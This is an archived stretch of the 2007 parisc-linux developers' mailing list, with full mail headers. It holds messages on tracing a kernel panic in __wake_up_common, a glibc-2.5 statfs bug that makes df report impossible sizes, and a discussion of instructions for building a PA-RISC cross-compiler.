NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:45 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 20:35:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 11 Feb 2007 21:35:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95E2F7DBB7;
	Sun, 11 Feb 2007 13:35:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21939-06; Sun, 11 Feb 2007 13:35:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD8C67DB82;
	Sun, 11 Feb 2007 13:35:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A352B7DB66
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 13:35:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21939-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 13:35:20 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 9DA307DB53
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 13:35:19 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1BKZ6x14613; 
	Sun, 11 Feb 2007 15:35:06 -0500
In-Reply-To: <119aab440702111222v3562f308v9808b4dea7b73d59@mail.gmail.com>
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RjqFArkOa2A75rvDOHQytxIyOWhhagfW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24314

On Sun, 2007-02-11 at 15:22 -0500, Carlos O'Donell wrote:
> On 2/11/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> > The faulting instruction is:
> >   74:   52 82 00 20     ldd 10(r20),rp
> >
> > Which is just before the curr->func call.
> >   78:   e8 40 f0 00     bve,l (rp),rp
> >   7c:   52 9b 00 30     ldd 18(r20),dp
> >
> > So your assumption was correct. The value of curr->func is null.
> > How did the list get corrupted?
> 
> ... to be precise, the faulting instruction is the break at 0x10 that
> we use for null pointer dereferences.

Right, now here's a bit of really useful detective work:

In the same piece of disassembly can you see what happens to %r26 ...
the first argument to __wake_up_common() which is the wait queue?  It
may be clobbered, but if it isn't by the time we fault we know that
0x45f10250 is the address of the wait queue.  If we're incredibly lucky,
it's a symbol in the vmlinux, can you see if it is (and if it's valid)?

Knowing what the wait queue is will tell us (hopefully) with precision
where the fault lies.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Expect defunct, kill -9 panics kernel?
Date: Sun, 11 Feb 2007 15:59:37 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200702112059.l1BKxboZ010491__35286.3322398209$1416624285$gmane$org@hiauly1.hia.nrc.ca>
References: <1171226106.3406.47.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624285 22719 80.91.229.3 (22 Nov 2014 02:44:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:45 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 20:59:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 11 Feb 2007 21:59:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2CA17DBBE;
	Sun, 11 Feb 2007 13:59:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22590-09; Sun, 11 Feb 2007 13:59:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B85167DBB1;
	Sun, 11 Feb 2007 13:59:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AF167DBAC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 13:59:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23048-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 13:59:40 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5AB377DBAA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 13:59:40 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1BKxcsQ010492;
	Sun, 11 Feb 2007 15:59:38 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1BKxboZ010491;
	Sun, 11 Feb 2007 15:59:37 -0500 (EST)
In-Reply-To: <1171226106.3406.47.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Feb 11, 2007 02:35:06 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9LHpbcbOLi5nrvfRZWtpCF5jZml1ZNjK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24315

> Right, now here's a bit of really useful detective work:
> 
> In the same piece of disassembly can you see what happens to %r26 ...
> the first argument to __wake_up_common() which is the wait queue?  It
> may be clobbered, but if it isn't by the time we fault we know that
> 0x45f10250 is the address of the wait queue.  If we're incredibly lucky,
> it's a symbol in the vmlinux, can you see if it is (and if it's valid)?

In the code I'm looking at, r26 is copied to r7 near the beginning of
__wake_up_common().  r7 is 0 in the register dump.  Of course, Carlos'
kernel may differ.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] statfs() problem with glibc-2.5
Date: Mon, 12 Feb 2007 10:28:44 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20070212102844.f045d760.gmsoft__33436.6176663481$1416624286$gmane$org@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624286 22722 80.91.229.3 (22 Nov 2014 02:44:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2007 09:27:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 12 Feb 2007 10:27:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A810F7DB50;
	Mon, 12 Feb 2007 02:27:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28799-09; Mon, 12 Feb 2007 02:27:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C27A7DB47;
	Mon, 12 Feb 2007 02:27:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBD997DB23
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 02:27:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28693-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 02:27:34 -0700 (MST)
Original-Received: from av-tac-bru.cisco.com (weird-brew.cisco.com [144.254.15.118])
	by free.linux.hp.com (Postfix) with ESMTP id A9F137DB22
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 02:27:33 -0700 (MST)
X-TACSUNS: Virus Scanned
Original-Received: from strange-brew.cisco.com (localhost [127.0.0.1])
	by av-tac-bru.cisco.com (8.11.7p3+Sun/8.11.7) with ESMTP id
	l1C9RWi00717 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 10:27:32 +0100 (CET)
Original-Received: from localhost (dhcp-peg3-vl30-144-254-7-107.cisco.com
	[144.254.7.107])
	by strange-brew.cisco.com (8.11.7p3+Sun/8.11.7) with SMTP id
	l1C9RV301099 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 10:27:31 +0100 (CET)
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IwXjcZIhTXs94ayRbmQ5cNVKRzdyMkPP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24316


Hi all,


While running and testing glibc-2.5, I've encountered the following problem :

hope bin # ./df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda3             276Y  276Y  539Z 100% /
sysfs                18641256972210Y 18634655137640Y 70815813734120Y  21% /sys
udev                 18641256972210Y 18634655137640Y 70815813734120Y  21% /dev
devpts               18641256972210Y 18634655137640Y 70815813734120Y  21% /dev/pts
shm                  18641256972210Y 18634655137640Y 70815813734120Y  21% /dev/shm
usbfs                18641256972210Y 18634655137640Y 70815813734120Y  21% /proc/bus/usb
playa:/usr/portage/distfiles
                     18641256972210Y 18634655137640Y 70815813734120Y  21% /usr/portage/distfiles
/dev/sdb4            18641256972210Y 18634655137640Y 70815813734120Y  21% /mnt/gentoo
/dev/sdb2            18641256972210Y 18634655137640Y 70815813734120Y  21% /mnt/gentoo/boot


Despite the fact that I whish I had that capacity, there is definately an issue.

This is using glibc-2.5, 2.6.20-pa0 and corresponding headers.


Let me know if you need more info.

Cheers,
  Guy



-- 
Guy Martin
Gentoo Linux - HPPA port lead

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fw: Another problem with making things static
Date: Mon, 12 Feb 2007 12:42:57 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <7d01f9f00702120342g628f53e3o2eb68f33605e83db__16065.7316832387$1416624286$gmane$org@mail.gmail.com>
References: <20070210130136.9538498b.akpm@linux-foundation.org>
	<20070210214309.GP12958@stusta.de>
	<1171158436.3373.51.camel@mulgrave.il.steeleye.com>
	<20070210201911.7a16b5f3.akpm@linux-foundation.org>
	<20070211072552.GC22248@colo.lackof.org>
	<20070210234424.500ed1c9.akpm@linux-foundation.org>
	<20070211075738.GD22248@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624286 22725 80.91.229.3 (22 Nov 2014 02:44:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:46 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 Andrew Morton <akpm@linux-foundation.org>,
 Linus Torvalds <torvalds@linux-foundation.org>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2007 11:43:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 12 Feb 2007 12:43:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 894B97DB54;
	Mon, 12 Feb 2007 04:43:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30022-04; Mon, 12 Feb 2007 04:43:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A7AB7DB4F;
	Mon, 12 Feb 2007 04:43:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1F7E7DB47
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 04:43:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29595-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 04:42:59 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by free.linux.hp.com (Postfix) with ESMTP id 052B17DB2E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 04:42:58 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so612641ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 03:42:57 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=TsB4NhdqYtd5wEZQ34SynjzX4FIe/9K45B3DcXExOMzhTYgLzOZ+JVzrjJeHhX2UIArARJ84tvGuRKKa3x6bDd7Lr8TjGa230HZyE4ZcQEmaMpuUHpcBQURm6PuEtB0QIUnUbWgTiMjMz7qaFu2t1VITmygNs75ImVGI03iuTSc=
Original-Received: by 10.78.205.7 with SMTP id c7mr5500693hug.1171280577612;
	Mon, 12 Feb 2007 03:42:57 -0800 (PST)
Original-Received: by 10.78.159.2 with HTTP; Mon, 12 Feb 2007 03:42:57 -0800 (PST)
In-Reply-To: <20070211075738.GD22248@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 9e4e2396cb2cdf06
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 52rlcbgjRkke1KuPfGRqkO5mdWkvKBON
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24317

On 2/11/07, Grant Grundler <grundler@parisc-linux.org> wrote:
> On Sat, Feb 10, 2007 at 11:44:24PM -0800, Andrew Morton wrote:

> > I say this a lot, but...  It is in the interests of arch maintainers to
> > help others to build cross-compilers.  If someone were to prepare a web
> > page (or even a script) which could be used to generate a kernel
> > cross-compilation environment for parisc then the parisc maintainers would
> > see a lot less breakage.
>
> Agreed.
> We have such a page:
>         http://www.parisc-linux.org/toolchain/PARISC-Linux-XC-HOWTO.html
>
> (link "Build XC" from www.p-l.o homepage)

This is unfortunately rather outdated... I wonder if it'd still work.
I've built a parisc xcompiler a while ago using
toolchain-source/tpkg-make, I'll try to do that again and make a
receipe available online.

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fw: Another problem with making things static
Date: Sun, 11 Feb 2007 11:54:05 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20070211165405.GA4050__17506.8640303381$1416624286$gmane$org@athena.road.mcmartin.ca>
References: <20070210130136.9538498b.akpm@linux-foundation.org>
	<20070210214309.GP12958@stusta.de>
	<1171158436.3373.51.camel@mulgrave.il.steeleye.com>
	<20070210201911.7a16b5f3.akpm@linux-foundation.org>
	<20070211072552.GC22248@colo.lackof.org>
	<20070210234424.500ed1c9.akpm@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624286 22728 80.91.229.3 (22 Nov 2014 02:44:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:46 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 Linus Torvalds <torvalds@linux-foundation.org>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2007 14:11:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 12 Feb 2007 15:11:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BF8D7DB69;
	Mon, 12 Feb 2007 07:11:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30622-10; Mon, 12 Feb 2007 07:11:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 597DA7DB5E;
	Mon, 12 Feb 2007 07:11:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5BB307DB5C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 07:11:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30622-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 07:11:00 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id A50AC7DB5A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 07:11:00 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C4C4C5840A0;
	Mon, 12 Feb 2007 09:10:59 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 91F215840AF;
	Mon, 12 Feb 2007 09:10:58 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 3FA35837DB;
	Mon, 12 Feb 2007 09:10:58 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id C79F93B06E; Sun, 11 Feb 2007 11:54:05 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070210234424.500ed1c9.akpm@linux-foundation.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uUPjcQYhTXs94ayRbmQ5dQlKRzdyMsMe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24318

